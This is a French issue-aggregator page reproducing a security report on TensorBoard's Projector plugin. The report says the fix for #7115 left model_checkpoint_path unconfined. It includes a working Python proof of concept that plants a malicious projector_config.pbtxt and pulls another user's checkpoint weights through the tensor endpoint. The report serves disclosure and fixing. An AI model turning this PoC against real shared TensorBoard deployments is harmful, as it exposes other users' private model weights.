[Security] Incomplete fix of #7115: projector `model_checkpoint_path` is not confined to the logdir, allowing read and exfiltration of arbitrary TensorFlow checkpoints outside the logdir
Les mainteneurs répondent en général sous 1 jour
Personne n'a encore pris cette issue.
Évaluation
- Difficulté
- 3/5
- Temps estimé
- 1-2 jours
- Accessibilité débutants
- 72/100
- Type d'issue
- Bug
- Clarté
- Clairement spécifiée
- Activité
- Calme
- Stack technique
- python, tensorflow
- Domaine
- backend-api-design, security
Piste de recherche
Commencez dans tensorboard/plugins/projector/projector_plugin.py en lisant _read_latest_config_files(), _get_reader_for_run(), _augment_configs_with_checkpoint_info() et _serve_tensor(). Comparez model_checkpoint_path aux quatre champs d’assets qui utilisent déjà _rel_to_abs_asset_path(), puis exécutez les tests pertinents du plugin Projector ou le PoC fourni pour confirmer que les checkpoints situés en dehors du logdir sont rejetés et que les checkpoints situés dans le répertoire fonctionnent toujours.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Description
Reporting here as advised in https://issuetracker.google.com/issues/522459885
Package: tensorboard (PyPI), TensorBoard Projector plugin
Affected Versions: current main at commit deb522a (the #7115 fix), and all prior versions
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CWE: CWE-22 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Summary
Commit deb522a ("Fix Projector Plugin vulnerability (#7115)") hardened the Projector plugin so that the user controlled asset paths in projector_config.pbtxt (metadata_path, tensor_path, bookmarks_path, and sprite.image_path) are resolved against, and confined to, the directory that contains projector_config.pbtxt. The fix did not cover a fifth user controlled path in the same config file: model_checkpoint_path. That field is still passed straight to tf.train.load_checkpoint() with no confinement check. An attacker who can write or influence a projector_config.pbtxt under a scanned logdir (the exact threat model the #7115 fix addresses) can point model_checkpoint_path at any TensorFlow checkpoint elsewhere on the host. TensorBoard then enumerates that checkpoint's variables, advertises them in the served config, and returns their raw tensor bytes through the /data/plugin/projector/tensor route. This discloses the contents of other users' or other tenants' private model checkpoints (the model weights), which on a shared training host or multi tenant TensorBoard deployment is the most sensitive asset present.
Details
The fix added _rel_to_abs_asset_path() (tensorboard/plugins/projector/projector_plugin.py:212), which resolves a candidate path and rejects it when it escapes the config directory:
def _rel_to_abs_asset_path(fpath, config_fpath):
config_dir = os.path.realpath(os.path.dirname(os.path.expanduser(config_fpath)))
candidate = os.path.expanduser(fpath)
if not os.path.isabs(candidate):
candidate = os.path.join(config_dir, candidate)
candidate = os.path.realpath(candidate)
error_message = 'Asset path "%s" resolves outside the config directory' % (fpath)
try:
common_path = os.path.commonpath([config_dir, candidate])
except ValueError as e:
raise ValueError(error_message) from e
if common_path != config_dir:
raise ValueError(error_message)
return candidate
The four patched fields route through this function: tensor_path (line 380 and 680), metadata_path (line 620), bookmarks_path (line 752), and sprite.image_path (line 801). Pointing any of those at a path outside the logdir now returns a clean 400.
model_checkpoint_path does not. It is read from the attacker controlled config in _read_latest_config_files() (text_format.Parse(file_content, config), line 457), checked only for existence with a glob, and then handed directly to the checkpoint reader in _get_reader_for_run():
# tensorboard/plugins/projector/projector_plugin.py
478 if (
479 config.model_checkpoint_path
480 and _using_tf()
481 and not tf.io.gfile.glob(config.model_checkpoint_path + "*") # existence only
482 ):
...
498 if config.model_checkpoint_path and _using_tf():
499 try:
500 reader = tf.train.load_checkpoint(config.model_checkpoint_path) # no confinement
There is no call to _rel_to_abs_asset_path(config.model_checkpoint_path, ...) anywhere, so the path is never confined to the config directory.
The readback is automatic and does not require the attacker to know any variable names. In _augment_configs_with_checkpoint_info() the reader enumerates every 2D variable in the target checkpoint and adds it to the served config:
415 var_map = reader.get_variable_to_shape_map()
416 for tensor_name, tensor_shape in var_map.items():
417 if len(tensor_shape) != 2:
418 continue
...
425 embedding = config.embeddings.add()
426 embedding.tensor_name = tensor_name
That augmented config is returned by /data/plugin/projector/config. The client then requests each tensor, and _serve_tensor() returns the raw bytes:
699 reader = self._get_reader_for_run(run)
...
709 tensor = reader.get_tensor(name)
...
719 data_bytes = tensor.tobytes()
720 return Respond(request, data_bytes, "application/octet-stream")
So the full chain is: attacker plants projector_config.pbtxt with model_checkpoint_path pointing outside the logdir, the config endpoint discloses the variable names and shapes of that out of logdir checkpoint, and the tensor endpoint returns the raw weights. This is the same class of issue, in the same file and same config message, that #7115 set out to close for the other path fields.
The read is constrained to valid TensorFlow checkpoint files (a non checkpoint path such as /etc/passwd fails load_checkpoint() and is caught), so this is not arbitrary file read of any file. In TensorBoard's own domain that constraint still exposes the highest value data on the host: trained model weights from other users' runs.
PoC
This reproduces against the real plugin code at commit deb522a. It writes a "victim" checkpoint outside the logdir, plants a malicious projector_config.pbtxt that points at it, and shows the weights coming back out of the tensor endpoint.
python3 -m venv tbvenv
./tbvenv/bin/pip install tensorflow-cpu werkzeug pillow grpcio-tools
# generate the plugin's protobuf modules in the checkout (run from the repo root):
./tbvenv/bin/python -m grpc_tools.protoc -I. --python_out=. $(find tensorboard -name '*.proto')
./tbvenv/bin/python poc_model_checkpoint_path.py
poc_model_checkpoint_path.py:
import os, sys, json, tempfile
import numpy as np
sys.path.insert(0, ".") # use this checkout
import tensorflow as tf
from werkzeug.test import Client
from tensorboard.plugins.projector import projector_plugin
from tensorboard.plugins import base_plugin
work = tempfile.mkdtemp(prefix="tb_poc_")
# Victim's PRIVATE checkpoint, OUTSIDE the shared logdir.
secret_dir = os.path.join(work, "victim_private", "secret_model")
os.makedirs(secret_dir)
SECRET = np.array([[1337.0, 7331.0, 4242.0],
[9001.0, 1234.0, 5678.0]], dtype=np.float32)
ckpt = tf.train.Checkpoint(stolen_weights=tf.Variable(SECRET, name="stolen_weights"))
prefix = ckpt.write(os.path.join(secret_dir, "model.ckpt"))
# Attacker controlled shared logdir: a malicious config that points outside it.
logdir = os.path.join(work, "shared_logdir")
os.makedirs(logdir)
with open(os.path.join(logdir, "projector_config.pbtxt"), "w") as f:
f.write('model_checkpoint_path: "%s"\n' % prefix)
assert not os.path.realpath(prefix).startswith(os.path.realpath(logdir))
plugin = projector_plugin.ProjectorPlugin(
base_plugin.TBContext(logdir=logdir, data_provider=None))
def get(handler, query):
return Client(handler).get("/?" + query)
cfg = get(plugin._serve_config, "run=.").get_data(as_text=True)
name = json.loads(cfg)["embeddings"][0]["tensorName"] # auto-discovered, no prior knowledge
data = get(plugin._serve_tensor, "run=.&name=%s" % name).get_data()
print("exfiltrated:", np.frombuffer(data, dtype=np.float32).tolist())
print("victim secret:", SECRET.flatten().tolist())
Observed output:
exfiltrated: [1337.0, 7331.0, 4242.0, 9001.0, 1234.0, 5678.0]
victim secret: [1337.0, 7331.0, 4242.0, 9001.0, 1234.0, 5678.0]
For contrast, calling the patched helper with the same out of logdir path is rejected:
_rel_to_abs_asset_path("/.../victim_private/secret_model/model.ckpt", "/.../shared_logdir/projector_config.pbtxt")
-> ValueError: Asset path "..." resolves outside the config directory
confirming the other four fields are confined while model_checkpoint_path is not.
Impact
Information disclosure (CWE-22). An attacker who can write or influence a projector_config.pbtxt under a logdir that TensorBoard scans, which is the threat model the #7115 fix explicitly targets ("deployments where an attacker can write or influence projector_config.pbtxt contents under a scanned logdir"), can cause TensorBoard to read any TensorFlow checkpoint on the host that the TensorBoard process can access, and return its variable names, shapes, and raw weight tensors over HTTP. On a shared training host or a multi tenant TensorBoard instance this exposes other users' private model weights. No TensorBoard credentials are required, and the attacker does not need to know any variable names in advance because the config endpoint enumerates them. The impact is confidentiality only; the target must be a valid TensorFlow checkpoint, so it is not arbitrary read of any file type. This is an incomplete fix of #7115 and should be closed the same way the four sibling fields were: by confining model_checkpoint_path to the config directory.
- Langage dominant
- TypeScript
- Étoiles
- 7.2k
- Forks
- 1.7k
- Merge moyen
- 1 j 13 h
- PR mergées (30 j)
- 3
Préparer son environnement
- Fournit un Dockerfile ou un fichier Docker Compose
- Propose un modèle de pull request
- Lire le guide de contribution
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de tensorflow/tensorboard
-
node_repositories in WORKSPACE missing linux_ppc64le and linux_s390x entries for Node.js 18.20.8Ouverte
Difficulté 1/5 Moins d'une heure Accessibilité débutants 92/100
tensorflow/tensorboard#7140 · 1 réaction ·
Les mainteneurs répondent en général sous 1 jour
-
Error Parsing Hyper Parameters (`HPARAMS`) on WindowsPeut-être pris @Ramnath0521 l’a pris il y a 4 jours. Ouverte
Difficulté 2/5 1-3 heures Accessibilité débutants 35/100
tensorflow/tensorboard#7175 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 5/5 Plus d'une semaine Accessibilité débutants 10/100
tensorflow/tensorboard#7159 ·
Les mainteneurs répondent en général sous 1 jour
-
installOuverte
Difficulté 5/5 Plus d'une semaine Accessibilité débutants 10/100
tensorflow/tensorboard#7158 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 4/5 3-5 jours Accessibilité débutants 35/100
tensorflow/tensorboard#7153 ·
Les mainteneurs répondent en général sous 1 jour
Toutes les issues de tensorflow/tensorboard
Issues similaires
-
[功能请求] 设置选项语言调整Ouverte功能请求
Difficulté 2/5 1-3 heures Accessibilité débutants 66/100
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 84/100
antithesishq/bombadil#473 ·
Les mainteneurs répondent en général sous 2 jours
-
The structured output reference promises null results for refusals that carry validation detailsOuvertebug
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 74/100
mattermost/mattermost-mobile#10358 ·
Les mainteneurs répondent en général sous 1 jour
-
ready-for-agent
Difficulté 1/5 Moins d'une heure Accessibilité débutants 86/100
LucasSantana-Dev/Lucky#3257 ·
Les mainteneurs répondent en général sous 1 jour